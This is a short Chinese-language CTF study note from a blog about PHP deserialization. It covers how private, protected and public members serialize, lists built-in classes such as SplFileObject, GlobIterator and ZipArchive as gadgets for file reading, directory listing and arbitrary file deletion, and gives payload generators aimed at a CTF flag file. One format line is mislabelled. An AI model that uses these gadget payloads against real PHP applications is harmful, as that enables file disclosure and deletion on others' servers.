php反序列化问题

pravite和Protected成员的序列化

private类

private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见

private型在序列化的格式为:%00类名%00

protect

protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。
因此保护字段的字段名在序列化时,字段名前面会加上 \0*\0 的前缀,注意,这里的 \0 表示 ASCII 码为 0
的字符,也就是我们经过 urlencode 后看到的 %00 。

*private型在序列化的格式为:%00%00**

var和public

var 和 public声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的 变量前缀符号 $。

实例:

1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $name="ghtwf01";
private $age="18";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>
1
O:4:"test":3:{s:4:"name";s:7:"ghtwf01";s:9:" test age";s:2:"18";s:6:" * sex";s:3:"man";}

但是复制到URL中可能会丢失所以此时需要按如上说明进行标记

trick

1.在php7.1+对类属性的检测不严格,所以可以用public来绕过

php内置类整理

近期遇到许多关于PHP内置类的题目,故在此整理一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

使用此代码 可以获取大部分的内置类:
这里就先说一下到目前为止遇到过的:

1
2
3
$a=new ZipArchive();
$a->filename="xxxx.xxx";
$a->content=ZipArchive::OVERWRITE;
描述
DirectoryIterator 遍历目录
FilesystemIterator 遍历目录
GlobIterator 遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag*
SplFileObject 读取文件,按行读取,多行需要遍历
finfo/finfo_open() 需要两个参数
ZipArchive() 任意文件删除

实例:

1
2
3
$a=new ZipArchive();
$a->filename="xxxx.xxx";
$a->content=ZipArchive::OVERWRITE;
1
2
3
4
5
6
7
8
<?php
class A{
public $class='FilesystemIterator';
public $para="/var/www/html";
public $check;
}
$o = new A();
echo serialize($o);
1
2
3
4
5
6
7
8
9
<?php
class A{
public $class='SplFileObject';
public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
public $check;
}

$o = new A();
echo serialize($o);
Author

vague huang

Posted on

2021-03-28

Updated on

2021-03-29

Licensed under

Comments